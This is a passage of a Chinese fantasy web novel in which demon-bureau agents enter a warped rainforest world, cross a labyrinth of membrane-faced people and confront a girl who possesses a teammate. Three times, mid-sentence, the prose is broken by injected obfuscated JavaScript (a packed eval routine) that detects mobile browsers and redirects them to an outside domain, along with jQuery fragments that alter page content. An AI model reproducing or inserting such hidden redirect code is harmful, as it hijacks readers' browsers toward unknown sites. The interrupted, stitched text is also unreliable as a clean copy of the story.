那一瞬间天光大亮,小巴驶离了隧道。
四目相对。
谢邑的眉眼生得好看,一双剑眉压着瑞凤眼,眉骨出挑,狭而飞的眼褶上还有一颗小黑痣。
晨时的光斑轻轻吻在他的眼睫上,将他本疏离冷清的气息散了些去。
还真是奇怪,每次和这个谢邑碰上,要么碰巧关了灯,要么碰巧进了隧道。
当视觉被剥夺时,听觉就会尤为明显。
谢邑的一呼一吸裹挟着他的低沉规律嗡鸣般的心跳,阙烬兰莫名觉得耳朵有些发痒。
“变督察,转行做小偷了?”
她清了清嗓子,偏头看向小巴的车窗外伸出手,直到墨镜到手才将头扭回来。
“道歉。”
谢邑敛了刚刚还颇显无奈的神色。
阙烬兰用手掌揉了揉耳廓,“我没听错吧?”
她刚想发作,刘海闷闷的声音就从他的座位传来。
“对不起。”
阙烬兰呼吸微微凝滞了一瞬。
她还以为谢邑要自己给那个出言不逊的臭刘海道歉呢。
空气寂静异常,只有机械人时不时播报前方路况的声音。
还是檬砂瞧见阙烬兰压根不是端着,就是纯粹的傻了眼,一双一贯扑闪扑闪的大眼睛直愣愣地对着那谢邑的胸口发呆,这才起身颇为自来熟的拍了拍刘海的肩膀,还没忘低下身子向他展示自己的鲨鱼齿。
“好了小兄弟,烬兰就是脾气不好心很好的,想必你也是一个好孩子,对吗?”
赤裸裸的恐吓。
但是十分奏效,接下来大家都安心做自己的事情,保养枪支的擦着,调整状态的睡着。
“遗泣山谷,到了。请小队成员下车。”
“根据搜索到的资料显示,给小队取一个名字可以凝聚团队意识,从而更好的分工协作,请问你们要叫什么名字?”
这个机器人十分贴心的想为刚刚焦灼的氛围出谋划策。
这点正中从一开始刘海突发恶疾就不敢讲话的乔言风之下怀,他刚刚一直在默默地和看起来高大威猛的狮栾建立革命友谊——打扑克牌的起五张。
“可以啊,我们就叫拯救世界银河小队!”
阙烬兰扶额苦笑,但还是不想打击到年轻人的热血沸腾。
“可以啊我没意见,这个名字内部流通吧?”
狮栾郑重地摇了摇头,“不行。”
阙烬兰叹了口气,她就知道。
“这个名字不行。“
哦?
真是没想到有一天会和狮栾作为同道中人。
“也不能内部流通,名字还得再加一个宇宙,拯救世界宇宙银河小队,比较气派。”
呵呵......当她什么都没说。
“好的,已录入拯救世界宇宙银河小队作为队名。”
......
遗泣山谷的情况比众人能想到和搜到的信息都更为恶劣。
超长八字小队整理好装备刚下车,扑面而来的就是粘稠而又黄蒙蒙的恶风,带着防毒面具几人才敢轻轻呼吸,脚踩在地上会发出蛇吐信子般嘶嘶的声音。
山谷内的树木已经附着了一层油腻腻的白菌,白菌向外散发着阵阵绿雾,让可视度降到了极低。
谢邑打开妖气探测仪,回头举起右手,示意众人跟上。
第一次看到异化程度如此之深的地方,无论是人是妖,心里难免发怵。
阙烬兰只能紧紧地跟着在前方开路的谢邑。
第一次觉得他的背影如此伟岸,像族群飞动的时候最前面挡风的那只大鸟。
“怎么了?”
似乎自己的视线过于灼热,引起本身对周围环境就敏感之人的警觉。
“没事,大鸟......”
下意识的回应让自己将方才心里所想也一股脑吐露出来,等反应过来自己的脸已经涨得通红。
还好带着防毒面具,不然威名何在。
“你的取名系统真丰富。”
随着一行人踏过成千上万个异化妖怪的腐骨,湍过混着硫磺和腐朽排泄物刺鼻恶臭的,宛若一条黑绸的盘谷溪流,三间外皮在黄紫色夕阳下泛着铁锈红的化工厂赫然出现在眼前。
宛若盘旋山间的三个凶兽。
三间化工厂中间是一座捧着地球的女神像,源源不断的往外喷涌着黑雾。
那巨大的雕像比化工厂都要高。
看来那里就是源头恶妖的妖丹了。
源头恶妖呢?
阙烬兰听见那黏腻的风在耳边孜孜不倦地咆哮,呜咽,怒吼。
自从他们一下车,就已经和源头恶妖密不可分了。
谢邑观察完女神像周围
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332495|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后就回头数了人数,算上自己正正好六个,一个都没少,这才定了身子让众人围作一圈。
“谁都不知道进去会发生什么。我们或许会被分开,可能容貌,身型,性别,身份都会发生改变。但不必过于害怕,我们有耳麦可以进行交流,万事小心。”
“留意色彩鲜艳,离不开水的生物。”
等最后一句交代完,谢邑起身,没有半分迟疑地敲了敲女神像下方的台托。
“通道在这里。”
可打不开。
阙烬兰抬头观察着正不断往外冒着黑气的女神像,仔细看还有一股有一股的黑水从女神像的眼眶中流出,散发着阵阵腐臭的味道。
而在女神像捧着地球那只手的小拇指上,赫然挂着一把钥匙。
“台托有锁吗?”
她看向谢邑。
得到肯定答案后,她突然明白为什么诺辛要派出檬砂,狮栾和自己了。
恰恰好的海陆空组合。
叹了声气,“檬姐,帮我接着衣服和装备。”
随后屏住呼吸快速变回本体,飞向百米之上。
过程并不愉快,十分煎熬。
没了防毒面具,即便屏住呼吸还是难免吸入那刺鼻毒气,顷刻间感觉有细微的颗粒在摩擦着喉管,她硬生生忍下凭借着本能来到那把钥匙旁,敏捷的用尖嘴勾住后扑下。
好沉...好重...
那毒气感觉从耳朵、鼻子、喉管进入了自己的脑子里。
金蟾蜍在这种鬼地方不变成恶妖才怪。
在绿黑混合着的雾气下终于看到了小队众人,她疲惫地下坠。
直到落在了一个温暖的手心上,然后迷蒙之中被喂了一颗带有薄荷草本味道的药丸,下意识在他手心中最暖和的地方拱了拱。
作战服是妖管局研发的新东西,隔绝基础的物理伤害自不必多说,重要的是当妖的本体和作战服一接触,妖就可以变成人型且穿戴整齐。
阙烬兰能感受到檬砂从谢邑手上接过了自己放在作战服上,几乎瞬间自己就人模人样地靠在她温暖的怀抱里。
檬砂轻柔地帮助自己戴好耳麦和防毒面具,而谢邑也已经将台托的暗门给打开了。
“需要休息一下吗,烬兰姐?”乔言风十分关切地靠过来。
阙烬兰摇摇头。
“我恢复得快,那个药丸帮了大忙,吸收到的毒雾已经被清除得差不多了。”
她刚刚从百米高空往下看,什么都看不到,各种诡异颜色的雾气将整个山谷笼罩,就像一个巨大的牢笼。
“进去吧,赶紧将这里净化了,我想尽快将山谷恢复到原来样子。”
随着一行人踏进暗门,他们的意识骤然暂停。
5. 变成了黑皮体育生
眼前的一切被扭曲重组,最后回归于无边的黑暗。
仿佛一瞬,又仿佛过了好几个春秋。
空气仿若有了重量,呼吸间可以感受到包含水分,极为湿润地气流被吸纳入肺叶。皮肤上好像有一条无形的毛毯附着,就连睁开眼都觉得需要花费比以往更多的力气。
意识本是一片混沌,突然一阵剧痛从头上传来,仿佛被人用一口铁锅狠狠砸了一下,让阙烬兰攸的一下睁开眼。
她置身于树木盘根错节,一片浓绿鲜艳的世界里,此时半靠在参天巨树中颇为矮小的一颗上,旁边躺着个缺了口的椰子,想必就是刚刚砸自己的凶器。
阙烬兰摸了摸还有些钝痛的额头,撑着一旁的椰子树缓缓站起身来。
她看到自己穿着一条海蓝色的大裤衩,古铜色的皮肤混着汗液在阳光下反射出油腻腻的光,八块腹肌上没有任何遮掩,脖子上带着一串色泽鲜艳的石头项链。
男人!!
自己竟然变成了一个黑皮体育生,括号原始人的那种。
“我是阙烬兰。”扶着耳麦听到自己的声音吓了一跳。
她的声音狮栾一定很羡慕,这是不带任何修饰的磁性低音炮。
“你们还好吗?”
......
什么都没有。
耳边只有经久不息的,各种昆虫混合振翅的嗡鸣声。
耳麦里没有任何回应。
脚下踩着的并不是什么丰沃的肥土,而是由落叶腐木以及一些稀烂的浆果构成的道路。
窸窸窣窣的声音从远方传来。
几乎声音传来的瞬间,就有一个人影闪现在自己的身边。
“萨和哥哥,你怎么还在这,部族勇士已经开始招新了!”
来者穿着一条红裙子,见到阙烬兰就一把抓住她的手腕,几乎是还没站稳就将她往雨林深处拖拽,一步作两步,即便是如今身高一米九的步伐也跟不上,只能跑起来才不至于被来者拖在地上走。
眼前的小女孩不过十三四岁,还没有自己腰高,力气却如此之大,可以将成年男性轻松拖动,并且听她说话的声音总感觉隔着个什么东西,让人听不真切。这失常世界还真是诡异至极。
虽然说最诡异的还是自己变成了一个威猛大汉。
“招新?”
套话的艺术,就是重复对方的话并加之以疑问的语气。
“对呀,只有通过雨林迷宫的勇者才能获得勇者图腾然后得到族长的亲赏,从而进入部族勇士团呀。哥哥,你不是知道吗?”
随着小女孩疑惑地抬头,阙烬兰才看清她的脸。
她终于知道为什么小女孩的声音总是带着一丝雾蒙蒙了,因为她的嘴巴被一层皮肤薄膜覆盖。
不,不仅是嘴巴。
眼睛,鼻子同样如此。
鼻子的薄膜有一个极小的透气孔,但是整个薄膜还是随着呼吸会鼓起和干瘪。
就像是守宫还未完全蜕皮被人从外面戳了个小孔往里吹气一般。
阙烬兰在娱乐圈见过俊秀美艳的,也在妖管局见过化人形失败五官错乱的,可眼前这种几乎可以称得上离奇的面容还是第一次见。
“哥哥?”
见阙烬兰没有搭理自己,那小女孩伸长了脖子,那弹性的喉管将小女孩一下子拔高至和自己平行的高度。
“...”
阙烬兰用尽全身力气让自己不要尖叫,将眼前的诡异之人看作是只化人形失败的火烈鸟。
“嗨?”
似乎被阙烬兰的反应逗乐,那小女孩忽然狂笑不止,将那薄膜撑得极大,边缘处甚至变得透明,可以看到她的那张血盆大嘴,那张嘴几乎占据她脸的二分之一。
“萨和哥哥,你可真有意思。”
还好是有意思,不是好好吃。
直到被那女孩连拖带拽地带到雨林深处,阙烬兰都沉默不语,生怕让这小女孩再露出大嘴狂笑了,只是偶尔用没有被她拖动的手有节奏的敲打耳麦。
耳麦里仍然没有任何动静。
雨林深处的人大多和小女孩一样,被皮肤薄膜覆盖住五官,只是颜色不一样。相较来说,小女孩已经是目之所及中比较看得顺眼的存在了。
不过族长,会是源头恶妖吗?
“妹妹,你见过族长吗?”
小女孩摇了摇头。
“萨和哥哥,只有部族勇士才能见到他呀!不过,勇士们都被外派了,没人知道族长长什么样子。”
虽然被薄膜遮掩,阙烬兰仍旧可以感受到她的灼灼目光。
“不过萨和哥哥你如果当了部族勇士,就可以告诉我族长长得怎么样啦!”
还是别关心别人长啥样了,小姑娘你快自己照照镜子吧。
突然,阙烬兰感觉到有什么东西一直在戳着自己的脚踝,但却不疼,只是很痒。
她低头一看,发现是一连串蚂蚁。
蚂蚁没有攻击的意图,否则早就咬得都是红点了,阙烬兰福至心灵的数了数,恰好有五只蚂蚁。
......
不会是他们吧。
如何才能不被小女孩发现的情况下相认呢...阙烬兰不抱希望的想到了那土到掉渣的名字。
“当了勇士,我们就可以拯救世界,变成宇宙无敌了?”
“萨和哥哥,你说话萨满有点听不懂了。”
小女孩抬起脸迷茫的看向自己之时,腿上的那五只蚂蚁转了转圈随后摆出一个对勾的阵型。
难怪刚刚耳麦没有人讲话,合着小队里就只有自己是个人。
“妹妹,这些人都要和我竞争吗?”
小女孩笑着点点头。
“对呀哥哥,你看那扇门,进去了就是雨林迷宫了。哥哥加油,我在外面等着你。”
顺着小女孩手指的地方,阙烬兰看到一扇平平无奇的洞门。接着,耳边传来了一阵热气,小女孩又将那脖子伸长了,将头送在了自己的耳边。
“哥哥小心哦,这些人除了萨满都是坏人,可能会害你的。要不要萨满帮你把他们都杀了?”
阙烬兰赶忙摇了摇头,摸了摸那长脖子小女孩的双马尾。“萨满,哥哥不想胜之不武。你也相信哥哥会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332496|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比他们都厉害吧?”
她回忆着自己之前扮演着的一个单亲带娃的女强人形象,迅速进入了状态。
萨满的脖子几乎瞬间恢复到正常的状态,含羞低着头。里层皮肤薄膜都被染的粉红,外层的还是正常的肤色,就像泡发了的苹果皮,皴皱而颜色不一。
“好,我当然相信你了萨和哥哥。”
阙烬兰此刻的眼眸明亮而柔和,深深的看了一眼面容诡异的萨满,仿若在看世界上最珍贵的宝物。
“照顾好自己。”
随后便一往无前地向前进入洞门了。
里面漆黑一片,但跟随着其他人的脚步,阙烬兰还是顺利的通过了黑暗的洞穴,来到了所谓的雨林迷宫。
周围的人还在漫无目的的往前走,只有她定下身来观察周围的环境。
所谓的雨林迷宫,树冠如盖,层层叠叠,将天光分裂成细小的光斑,人在其中显得极为渺小。说是迷宫,其实没有特定能行走的道路,只是一望无际的热带森林。藤蔓缠绕在粗壮的树干上,结成一道道天然的帘幕,扒开一层还有一层,叫人望不到头。
“终于...”
耳后突然传来熟悉的声音——檬砂的仰天长啸。
阙烬兰赶紧回头,这才发现五个人又从蚂蚁恢复到人形了,并且还是十分幸运用着属于他们自己的身体。
“什么情况?”
“我们五个人一到雨林就碰到了刚刚和你说话的小女孩,然后她一边念叨着不要抢走我的哥哥一边挥了挥手,我们就变成蚂蚁了,真可怕,差点被那群秃噜皮的踩死了。”乔言风心有余悸,还学着小女孩的语气演上一番,随后发表感言。
“兄控真可怕。”
阙烬兰扯了扯嘴角,低头看着乔言风。
“为什么就我变成一个臭臭的体育生?”
谢邑这时从众人最后面走了过来。竟然差不多和自己平齐,阙烬兰这才发现原来谢邑还是挺高的,之前一直都得抬起头看没什么感觉,这会自己突然变得高了一览众山小,陡然一个不需要低头就能平视的人就显得格外特别。
“或许你和这个世界的萨和或者是和金蟾蜍这个源头恶妖,有一些共同点。”
刘海拿出方位仪,原地转了个圈,脸色越来越难看。
“我们现在先要走出这个森林,结合已知的情况,部族族长很有可能是源头恶妖。真是奇怪了,仪器怎么失灵了。”
阙烬兰对着狮栾挑了个眉,狮栾会意地变成雄狮的形态,趴伏起来都几乎要比一个成年男性还要高。
众人保持沉默,看着狮栾他先是静伏在腐草绿叶之中,轻轻嗅着什么,随后后腿猛然绷紧,仿佛弓弦满拉,全身的注意力都在双耳之上。
随后,狮栾的后腿自然收在身下,脊椎如山脉般微微起伏。
“这个森林过于庞大,比起一个城市都要大,我感受不到它的边界。但是,那群长相奇特的人他们的脚步声都是有规律的,我知道为何没有墙,这个地方也要叫雨林迷宫了。”
“因为那群人就是墙,我们还没有到迷宫的入口。”
6. 红绳子
狮栾优雅的站起身来,硕大的头颅高高昂起,那双眼睛半开半阖,双眸直视着他前方生着瘤状树疤的参天巨树,眼神却并未聚焦。
其实他并没有在看任何地方,只是想营造一个高深莫测的形象。
“跟我来。”
收拾好狮栾的衣物不知道给谁拿着的时候,阙烬兰看到了一旁站得发愣的乔言风,阙烬兰对着他挥了挥手,保持着微笑递给了他,忍不住腹诽希望眼前的孩子不会抱着猛吸。
十七八岁的少年最喜欢这些——酷炫的威猛外形和精心设计的神秘感。
乔言风只是笑着接过了衣服,眼神却穿过那层黑色布料直直地投射在阙烬兰的手上,不过一瞬就收了回来。
一行人就这么跟着眼前的雄狮。
虽然狮栾比较装模作样,但作为兽中之王的物种他对于环境的灵敏度还是强于绝大部分人的。
不知走了多久,属于雨林的枝繁叶茂渐渐隐去,只有脚下松软的土地还昭示着众人他们并没有离开原来的地方,眼前是数不清的、排着队的整整齐齐的人群,他们脸上附着这不同颜色的薄膜,只是安静的闭着眼睛,像沉睡的人偶。
两排平行的人偶中间的距离可以容纳两三个人行走,凭借着一米九的身高,阙烬兰看到了密密麻麻的头顶,一眼望不到头。
这些小黑点们排列的千奇百怪,每一条路的深处都隐于雨林之下,通过高处根本看不到哪一条路才是正确的。
“诶,这些奇行种腰上怎么都别着红色的布?”
檬砂是一行人中唯一一个和薄膜人没有保持安全距离的,她的胆子一向很大。阙烬兰听见了她的嘟囔,这才微微低头看向了薄膜人的腰间。
“居高者束之以障,洞悉者伏于微处啊。”
这个红布不低头根本看不到。
在这个失常世界里任何细节都值得重视。
红色的布...
她突然想到了萨满,那个穿着红裙子一开始表现得极为奇怪,还将其他队友变成了蚂蚁的小女孩。
都是红色。
“啊!我是说这群人衣着怎么很熟悉,之前去斗牛场的时候,那些斗牛士穿着的衣服款式就和这些奇行种长得很像,而且腰间别着的红布也是方便他们拿取。”
一向沉默的刘海此刻脸上泛着兴奋的红光,似乎对于自己发现了其中的关窍感到异常兴奋。
斗牛,动物表演。
妖管局的人脸上神色不是很好。
谢邑淡淡揭开话题,将众人提到的信息结合现状整合。
“牛和迷宫,你们知道米诺陶诺斯的故事吗?”
米诺陶诺斯是冥王三巨头米诺斯之子,是米诺斯夫人被波塞冬下计和一头牛一夜之后的产物,传闻凶狠无比,被关在建造好的迷宫中,米诺斯每隔一段时间就送活人进去给米诺陶诺斯打牙祭。
如果按照这个传说,那他们就是被献祭给半牛半人怪物的祭品。
乔言风猛地大声哀嚎。
“那无论成功与否,咱们都没见到源头恶妖就会死翘翘了呀!”
狮栾拍了拍乔言风的肩膀,“不才,在下也对神话颇有涉猎。传说中是一个半人半神的忒修斯将怪物给消灭。我们小队刚好是个半人半妖的小队,这不对应上了吗?小乔,别慌,论武力打头牛,你狮兄还没怕过。”
“狮兄!那我们赶紧走吧!”
阙烬兰看着本异常踌躇的乔言风一下子就被狮栾的三言两语给哄得信心满满,心想狮栾还是有点用,乔言风还真好哄。
眼瞧着乔言风无所畏惧地就要冲向那人形迷宫,阙烬兰赶紧拉着他的后脖颈,抬着头往谢邑那揶了揶。
“急什么?谢邑还有话要说。”
谢邑对着阙烬兰点了点头,唇角微不可察的勾了一瞬,接着从行囊中拿出督察办特制的类似于防丢手环功效的物件,可以伸缩无限长。
“里面的情况未知,我们需要有两个人守在这个入口处,拿着这个的一头,无论发生什么都不能松手。”
刘海看了眼那诡异的人形迷宫,总觉得薄膜人在下一秒会突然睁开眼睛,这会脸上刚刚因猜中了失常世界的奥秘而泛红的地方也褪下不少。
“我守在这里吧。”
谢邑看了眼刘海,眉峰轻动。
“我也守在这里。”
随后看向阙烬兰,示意由她来拿那个防丢手环的另一端。
阙烬兰接过的时候还有些诧异,刘海这个没什么骨气的人害怕她理解,但她本以为以谢邑敢为人先的性格应该会义无反顾的去人形迷宫。
但想来这么做有他自己的想法,于是也就将那红绳子拿在手上。
只是她都拿到手上了,谢邑那家伙还不松手。
这是要干嘛,先拉练拔一下河吗?
她不解地加大力气突然扯过,感谢黑皮体育生的躯壳和大力加持,竟然将谢邑往自己身前狠狠带了带,还好他稳住了身形。
可即便如此,鼻息间的热气还是互相交融了半刻。
现在谢邑那家伙退后半步的动作倒是比刚刚稳住身形的要快上不止一星半点儿了。
“你不会用,我给你带。”
接着他轻柔地将阙烬兰的那头红绳接过手上,仔细地缠绕在她的手腕直至手掌,不松不紧,本看起来硌人的粗糙红绳竟然一点儿也不勒。
“你轻轻地拿住就好,不疼?”
谢邑的语气生硬,动作却轻柔的不可思议。
甚至还在自己的手背上摩擦了什么。
感受到他的动作,阙烬兰眨了眨眼,随后仿佛什么都没发生一般和剩下的檬砂等人一起进入了那由无数个脸上五官附着薄膜的丑家伙构成的迷宫。
两侧是数不清的闭着眼睛长相可怖的人,他们均匀的呼吸,只是吐出来的气息极为潮湿阴冷,直直钻进所有人的脖子里。
阙烬兰缩了缩脖子。
这体育生不穿衣服啥意思?腹肌就这么露着也不给肚脐盖片叶子。
“哇哦——是红线哦——”
檬砂倒是天不怕地不怕,这会看见那红绳子还朝着阙烬兰打趣。
“你和谢邑之前见过吗,总觉得你俩暗流涌动哦?”
听着檬砂那揶揄万分的语气,阙烬兰翻了个白眼,低头看了眼手上那根好像怎么也到不了尽头的红绳,没什么波澜地求饶让檬砂积点口德。
这边的插科打诨迷宫外听得一清二楚。
谢邑没说,这个道具其实也有沟通之用,只不过掌握在自己这头上。这会,他只打开了收听的开关。
刘海八卦的眼神止不住地投射在一旁坐如钟的男人上。
谢邑其人,早在督察办还没有对外招人之时就已经在督察办有了自己的名号“狗鼻斗神”,名号不太雅观,但是十分传神。
谢邑对于妖气比探测仪还要灵敏,只要是他能抓住的恶妖,就没有能够逃窜的。二十几年来不是在除恶妖就是在除恶妖的路上,本来一开始和自己同仇敌忾的厌恶妖类,但不知道从什么时候开始变得越来越沉默。
“看什么?”
谢邑瞥了眼刘海。
“小队里有不干净的东西。”
刘海先是如临大敌,接着又有些得意的看着面前的狗鼻斗神,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332497|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信我是吧,所以只和我说?”
“那东西从人的耳朵里钻进去鸠占鹊巢,你百年如一日的低情商,实在难以模仿。”
谢邑手上拨动着红绳,心想不知另一端的人发现这一点没有,早在他传递这个红绳的时候,就在阙烬兰手上快速的画了一个三角形。
阙烬兰不记得这是他们走过的第几个由那些薄膜人构成的分叉路口了。
构成这个路口的薄膜人之前见过。
不过她一点儿也不担心,因为是她故意这么走的。
在她从迷宫外面看的时候就发现了这个迷宫巨大无比,它的边界隐藏在巨大树木之下,或者说,根本就没有边界。
这个迷宫根本就没有出口。
要通过这个迷宫的唯一方法,根本就不是走出去。
她看着前方在人形迷宫中稍显局促的狮栾,嘴角微微上翘。
还记得狮栾化为原型的时候脱下的衣服被自己递给了乔言风,乔言风作为狮栾忠心的迷弟,不可能没注意到狮栾的狮子形态在人形迷宫里的不自在,但仍旧只是拿着那团衣服,不去递给狮栾。
狮栾不主动拿取是她可以预见的,毕竟他实在是一个面子大于里子的人,再怎么不舒服也不愿意去麻烦别人,哪怕只是说一句话的事情。
更何况谢邑那家伙磨磨唧唧的在自己手上画着什么,想必他也发现了不对劲。
但要在保全乔言风本人的情况下引蛇出洞...倒是需要花费些心思。
“走不到了。”
阙烬兰环顾四周,索性坐下,甚至半靠在某个沉睡着的薄膜人的小腿上。
“乔言风”见她放弃,假装慌了神。
“烬兰姐姐,别怕。我好像刚刚在一个路口看到了出口,但是我不确定...要不你和我去看看吧,让狮哥和檬姐在这里先等等。”
还真是贴心的把剩下的二人也安排了,阙烬兰正愁她该怎么在不惊动这个鬼玩意儿的前提下告知于那两人眼下的情况。
“好啊。”
于是她想都没想直接答应了,在她答应的瞬间,狮栾和檬砂就意识到了不对劲。
因为诺辛在去督察办的车上的时候就跟众人说过在危险情况下绝不能让妖管局的任何一个人落单,总共就三人,意思就是让他们别脱离海陆空这个配合。
而阙烬兰完全就是诺辛那女人的死忠粉,诺辛的话她不可能不听。
阙烬兰自己也知道自己平常是个什么德性,索性将计就计了。
给了檬砂和狮栾一个眼神,自己就跟在“乔言风”身后,状似无意的打量周围的环境。
“哎,其实热带雨林也挺好的。饿了吃浆果,渴了摘椰子,真想一直呆在这里。”
“乔言风”颇为惊喜地回头看向自己,有一道诡异的光从他的眼里闪过,“这里有什么好的,这里什么都没有。”
口不对心。
“你是什么都没有,可我有个妹妹呀,我的妹妹是世界上最可爱的妹妹。”
阙烬兰一字一顿的说着,字里行间藏不住对自己作为萨和的骄傲。
夕阳的余晖斜斜地淌进“乔言风”的眼底,那光在他骤然蓄起的泪水中微微一颤,竟折射出一种剔透而易碎的光芒。
“哥哥......”
他似是要哭了,雄性的声音混着撒娇般微微上扬的语调。
这美人落泪的破碎模样看得阙烬兰一阵恶寒。
一个蚂蚁从乔言风的耳朵里爬出来,乔言风攸的闭上双眼,溢出的泪水连同着人直直地砸在地上。
而那个蚂蚁,却变成了那个穿着红裙子的小女孩。
7. 旧梦
阙烬兰早在“乔言风”要将自己单独引过来之时就隐约对于这个鸠占鹊巢的寄生虫有了猜想,眼下看着脸上混着一把鼻涕一把泪的萨满只能轻轻叹了声气。
“萨满...萨和哥哥已经离开了,对不对?你一直都知道,我是阙烬兰,你刚刚还叫我烬兰姐姐的,是不是?”
她轻柔的将萨满虚虚地环抱着,因为她还记得自己现在的身体是一个男人。
萨满却不管不顾地将头埋在了阙烬兰的颈窝里嚎啕大哭,那泪水冲破了眼睛的薄膜,将皮肤沾黏处生生地划开细密的小口,带出来的血丝粘在了自己的颈脖,空气中血腥味和热带雨林独有的腥臭味却混合成一种奇特的异香,久久不散。
“哥哥再也回不来了...姐姐,你做萨和,你永远陪着我好不好?”
那无限渴望的话语宛若一条缓缓爬行在阙烬兰耳边的毒蛇,只是霎那间,那本撑在自己肩膀上的因为哭泣还有些颤抖的细瘦小手轻而易举地将阙烬兰的额头划开一条细密小口。
阙烬兰下意识想要远离萨满的触碰,却被她生生的钳制住了肩膀,萨满的哭出来的血滴在了阙烬兰的锁骨和肩膀上,撞开一团又一团暗红的花。
她没有任何力气了,早在闻到那股异香后,她的双腿就再也不能直立起来了。
额头的那道伤口没有任何感觉,阙烬兰只感受到无边无尽的沸腾。
源自额头,扩散全身。
“好热......”
她控制不住地闭上双眼,看到的却不是一片黑暗。
火光中,她看到自己明明已经逃离了这座熊熊燃烧的火山,环顾四周后却又再次义无反顾的冲了进去。
她高大的身子佝偻低垂着搜寻,可癫狂翻滚的浓烟和肆意蔓延的火舌全部都在阻拦着自己行进。
阙烬兰感受到自己已经不能呼吸了,却还是冲进巨大的火圈中将被燃烧树木团团围住的女孩带了出来,自己近乎在踏出火山的那一秒就开始头晕目眩,喉管在灼热刺痛中彻底闭合。
属于萨和的意识消失的最后一刻,阙烬兰的耳边传来女孩撕心裂肺地哭喊伴着滋滋作响的爆燃声。
脑海中萨和的记忆包裹着自己的每一条神经,疯狂叫嚣地要侵占,挤压目之所及的一切。
“滚开,你自己安心的走吧。”
抽丝剥茧每一条神经,把不属于自己的全部驱逐出去,神经被自己的意识狠狠攥紧,灵力因为窒息感和灼烧感而在颅内横冲直撞。
“我会帮你把你妹送回你身边的。”
疼痛已然难耐,但不得自由的束缚更让人嚎叫着反抗。
“你妹...你妹的!”
阙烬兰忍无可忍,终于将那残存的意识硬生生地从额头那开口逼退出去,不过也因此力竭,意识归于混沌。
昏迷的前一秒她还是持着最后一刻清醒用灵力将那残存的意识体包裹,不至于叫它烟消云散。
萨满看着双眼紧闭,胸腔中发出沉闷惊喘的阙烬兰,动作轻柔地抚摸着她的脸,还不知道她手上的可不是什么软绵绵的小动物,而是一个托起来是烫手山芋,咽下去是啮檗吞针的这么一个玩意儿。
女孩嘴角勾出一抹诡异的笑容,她站起身来,视线匆匆掠过两排闭着眼的,因山火而永远丧失生命的所有生灵——无论是人类还是妖灵。
既然哥哥要回来了,那么那群人就没有必要再活着了,留着反而是个危害。
眨眼间,自阙烬兰和萨满所在对应的那一排人就开始燃烧,他们紧闭的双眼只是茫然的听从响应睁开,新生儿般纯净的瞳孔中只倒影着熊熊火光。
不过顷刻,那一群薄膜人身上的皮肤黏膜开始缓缓掉落,无火自燃。
变成了一个又一个焦尸。
他们开始在这片早就应该不复存在的雨林毫无预定轨迹的移动,所到之处皆化作一片焦土灰烬。
阙烬兰不需要像萨和一样回去救什么亲人朋友,她是在凤鸣山那场火中最后一个走的。
她也没有萨满那么幸运,有人发现并且折返回来救她。
当她睁眼抬头看到万鸟同奔于一片灰败之中时,触手能及的只有熊熊烈火。
阙烬兰只感受到了无尽的惶恐和孤独。
怎么又是这个梦?
身体早已力竭,神志却不愿再让自己沉缅于旧梦之中。
她生生地咬破了舌头,血腥味在唇齿间蔓延,压下了那些不足为外人道的情绪。
“哥哥你醒了?”
环顾四周,皆是余烬。
人形迷宫已经消散了,她已经完成了所谓的勇者挑战。
只是没想到完成这个任务的附带影响这么大,还不知道檬砂他们怎么样了。
“我不是你哥。”
阙烬兰站起身来,一字一句的对着萨满说道,从前伪装披上的温和色彩已经无从寻迹,留下的只有独属于阙烬兰锐利的棱角。
萨满眉头猛地紧锁,鼻翼翕张,每一次呼吸都又重又急。
“怎么可能,你和哥哥有相似的经历,如果连你都不能承载...不对,你把萨和怎么样了?”
阙烬兰轻轻哼了一声不打算回答,抬手将那萨和弥留之际因担忧萨满而留下的意识体招引而来,用萨满对自己的方法将萨满的额头轻轻划开一个小口。
“他的意识体已经被我顺带净化了,你既然是个活人,就不要在那恶妖的纵容利用下沉溺于旧梦害人害妖。”
随着萨和的意识渐渐沉入萨满的脑海,萨满眼中的一切被阴毒算计浸泡下的浑浊逐渐被近乎于回神般的茫然所代替。
“好歹你叫了几声烬兰姐姐,姐姐就好心告诉你人终有一别,他既放心不下你,你也割舍不掉他,就让他同你再待个几载。只是你害人之心深重,也没有几时好活了,不如带着他的再去看看外面是什么样的光景。”
随着萨和的意识彻底融入萨满,阙烬兰没打算和她再说些什么,只是深深看了她一眼,打算转身离开时却被一双小手拉住,往里塞进了一片薄薄的牛皮纸。
勇者图腾。
